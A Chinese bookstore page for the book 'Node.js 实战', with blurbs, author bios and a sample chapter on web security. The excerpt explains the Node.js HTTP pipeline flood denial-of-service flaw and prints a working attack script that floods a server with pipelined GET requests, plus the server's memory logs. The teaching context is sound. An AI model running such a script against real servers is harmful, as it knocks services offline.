新書推薦:
《
禅心与箭术:过松弛而有力的生活(乔布斯精神导师、世界禅者——铃木大拙荐)
》
售價:HK$
66.1
《
先进电磁屏蔽材料——基础、性能与应用
》
售價:HK$
227.7
《
可转债投资实战
》
售價:HK$
102.4
《
王氏之死(新版,史景迁成名作)
》
售價:HK$
56.4
《
敢为天下先:三年建成港科大
》
售價:HK$
79.4
《
长高食谱 让孩子长高个的饮食方案 0-15周岁儿童调理脾胃食谱书籍宝宝辅食书 让孩子爱吃饭 6-9-12岁儿童营养健康食谱书大全 助力孩子身体棒胃口好长得高
》
售價:HK$
48.3
《
身体自愈力:解决内在病因的身体智慧指南
》
售價:HK$
101.2
《
非言语沟通经典入门:影响人际交往的重要力量(第7版)
》
售價:HK$
126.4
|
編輯推薦: |
因为CNode社区点击率颇高、粉丝数万的《一起学node js》,我认识了《Node js实战》这本书的几位作者,他们在CNode社区内的贡献、与粉丝跟帖及回复频率,文章更新速度,让我确定了与其合作的想法。很高兴,《Node js实战》没有成为教条式的入门级别,而是跳出Node js入门的圈子,真正进入Node js实战层次。《Node js实战》的内容架构也是由简入难的,Node js入门级读者也可从中得到灵感。《Node js实战》的几位作者为大家建立了《Node js实战》官方QQ群: 156627943,并建立了《Node js实战》读者反馈网站:http:nodejs ucdok com。对《Node js实战》的内容用6个字可以总结:让人大呼过瘾!废话不多说了,目录就在下方,赶快看吧,绝对物超所值。br
|
內容簡介: |
《Node.js 实战(双色)》通过8 个实例讲解了Node.js 在实战开发中的应用,涉及Node.js 常用框架、非关系型数据库、关系型数据库、运维命令和网络安全等内容。章节按照从简单到复杂的难度排序,每一章都通过一个有趣的实例指引读者从头开发一个应用,让读者可以循序渐进地学习Node.js,以及在实战开发中的编程技巧。br
《Node.js 实战(双色)》面向的是有一定Node.js 基础的读者,建议读者把本书当作入门书和进阶书之间的过渡书籍来阅读。当然,《Node.js 实战(双色)》也适合那些有其他服务器编程语言基础,并且想尝试Node.js 新鲜技术的人阅读。br
br
|
關於作者: |
赵坤,现于北京红树岛科技有限公司实习,热爱互联网,崇尚开源精神。2013年偶遇Node.js,相见恨晚,从此开始一条Node.js不归路。br
寸志,毕业于同济大学信息安全专业,现任Teambition前端工程师;《深入浅出CoffeeScript》译者。br
雷宗民,某外贸公司PHP码农,2011年6月开始接触Node.js,从此开始各种折腾与重复造轮子。br
吴中骅,目前就职于苏州唐人数码科技有限公司,主要负责公司用户中心、充值平台的开发,API平台开发以及APP游戏研发。br
br
|
目錄:
|
《Node.js 实战(双色)》通过8 个实例讲解了Node.js 在实战开发中的应用,涉及Node.js 常用框架、非关系型数据库、关系型数据库、运维命令和网络安全等内容。章节按照从简单到复杂的难度排序,每一章都通过一个有趣的实例指引读者从头开发一个应用,让读者可以循序渐进地学习Node.js,以及在实战开发中的编程技巧。br
《Node.js 实战(双色)》面向的是有一定Node.js 基础的读者,建议读者把本书当作入门书和进阶书之间的过渡书籍来阅读。当然,《Node.js 实战(双色)》也适合那些有其他服务器编程语言基础,并且想尝试Node.js 新鲜技术的人阅读。br
br
|
內容試閱:
|
9.1 什么是Web安全br
在互联网时代,数据安全与个人隐私受到了前所未有的挑战,我们作为网站开发者,必须让一个Web站点满足基本的安全三要素。br
(1)保密性,要求保护数据内容不能泄露,加密是实现保密性的常用手段。br
(2)完整性,要求用户获取的数据是完整不被篡改的,我们知道很多oAuth协议要求进行sign签名,就是保证双方数据的完整性。br
(3)可用性,保证我们的Web站点是可被访问的,网站功能是正常运营的,常见的DoS(Denail of Service 拒绝服务)攻击就是破坏了可用性这一点。br
9.1.1 安全的定义和意识br
Web安全的定义根据攻击手段来分,我们把它分为如下两类。br
(1)服务安全,确保网络设备的安全运行,提供有效的网络服务。br
(2)数据安全,确保在网上传输数据的保密性、完整性和可用性。br
我们之后要介绍的SQL注入、XSS攻击等都是属于数据安全的范畴,DoS、Slowlori攻击等都是属于服务安全范畴。br
在黑客世界中,用帽子的颜色比喻黑客的“善恶”。精通安全技术、工作在反黑客领域的安全专家我们称之为白帽子,而黑帽子则是利用黑客技术谋取私利的犯罪群体。同样都是搞网络安全研究,黑、白帽子的职责完全不同,甚至可以说是对立的。对于黑帽子而言,他们只要找到系统的一个切入点就可以达到入侵破坏的目的;而白帽子必须将自己系统所有可能被突破的地方都设防,保证系统的安全运行。所以我们在设计架构的时候就应该有安全意识,时刻保持清醒的头脑,可能我们的Web站点100处都布防很好,只有另外一个点疏忽了,攻击者就会利用这个点进行突破,让我们另外100处的努力也白费。br
同样,安全的运营也是非常重要的,我们为Web站点建立起坚固的壁垒,而运营人员随意地使用root账号,给核心服务器开通外网访问IP等一系列违规操作,会让我们的壁垒瞬间崩塌。br
9.2 Node.js中的Web安全br
Node.js作为一门新型的开发语言,很多开发者都会用它来快速搭建Web站点,期间随着版本号的更替也修复了不少漏洞。因为Node.js提供的网络接口较PHP更为底层,同时没有如apache、nginx等Web服务器的前端保护,所以Node.js应该更加关注安全方面的问题。br
9.2.1 HTTP管道洪水漏洞br
在Node.js版本0.8.26和0.10.21之前,都存在一个管道洪水的拒绝服务漏洞(pipeline flood DoS)。官网在发布这个漏洞修复代码之后,强烈建议在生产环境使用Node.js的版本升级到0.8.26和0.10.21;这是因为这个漏洞威力巨大,攻击者可以用很廉价的普通PC轻易地击溃一个正常运行的Node.js的HTTP服务器。br
这个漏洞产生的原因很简单,主要是因为客户端不接收服务器端的响应,但客户端又拼命发送请求,造成Node.js的Stream流无法泄洪,主机内存耗尽而崩溃,官网给出的解释如下:br
当在一个连接上的客户端有很多HTTP请求管道,并且客户端没有读取Node.js服务器响应的数据,那么Node.js的服务将可能被击溃。强烈建议任何在生产环境下的版本是0.8或0.10的HTTP服务器都尽快升级。新版本Node.js修复了问题,当服务器端在等待stream流的drain事件时,socket和HTTP解析将会停止。在攻击脚本中,socket最终会超时,并被服务器端关闭连接。如果客户端并不是恶意攻击,只是发送大量的请求,但是响应非常缓慢,那么服务器端响应的速度也会相应降低。br
现在让我们看一下这个漏洞造成的杀伤力吧,我们在一台4CPU,4GB内存的服务器上启动一个Node.js的HTTP服务,Node.js版本为0.10.7。服务器脚本如下:br
var http = require''http'';br
var buf = new Buffer1024*1024;1mb bufferbr
buf.fill''h'';br
http.createServerfunction request, response {br
response.writeHead200, {''Content-Type'': ''textplain''};br
response.endbuf;br
}.listen8124;br
console.logprocess.memoryUsage;br
setIntervalfunction{per minute memory usagebr
console.logprocess.memoryUsage;br
},1000*60br
上述代码是我们启动了一个Node.js服务器、监听8124端口、响应1MB的字符h、同时每分钟打印Node.js内存使用情况,方便我们在执行攻击脚本之后查看服务器的内存使用情况。br
在另外一台同样配置的服务器上启动如下攻击脚本:br
var net = require''net'';br
var attack_str = ''GET HTTP1.1\r\nHost: 192.168.28.4\r\n\r\n''br
var i = 1000000;10W次的发送br
var client = net.connect{port: 8124, host:''192.168.28.4''},br
function { ''connect'' listenerbr
whilei--{br
client.writeattack_str;br
}br
};br
client.on''error'', functione {br
console.log''attack success'';br
};br
我们的攻击脚本加载了net模块,然后定义了一个基于HTTP协议的GET方法的请求头,再然后我们使用tcp连接到Node.js服务器,循环发送10W次GET请求,但是不监听服务器端响应事件,也就无法对服务器端响应的stream流进行消费。在攻击脚本启动10分钟后,Web服务器打印的内存使用情况如下:br
{ rss: 10190848, heapTotal: 6147328, heapUsed: 2632432 }br
{ rss: 921882624, heapTotal: 888726688, heapUsed: 860301136 }br
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189239056 }br
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189251728 }br
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189263768 }br
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189270888 }br
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189278008 }br
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189285096 }br
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189292216 }br
{ rss: 1250893824, heapTotal: 1211065584, heapUsed: 1189301864 }br
我们在服务器执行top命令,查看系统内存的使用情况如下:br
Mem: 3925040k total, 3290428k used, 634612k free, 170324k buffers可以看到,我们的攻击脚本只用了一个socket连接就消耗掉大量服务器的内存,更可怕的是这部分内存不会自动释放,需要手动重启进程才能回收。攻击脚本执行之后Node.js进程占用内存比之前提高近200倍,如果有2~3个恶意攻击socket连接,服务器物理内存必然用完,然后开始频繁地交换,从而失去响应或者进程崩溃。br
br
br
|
|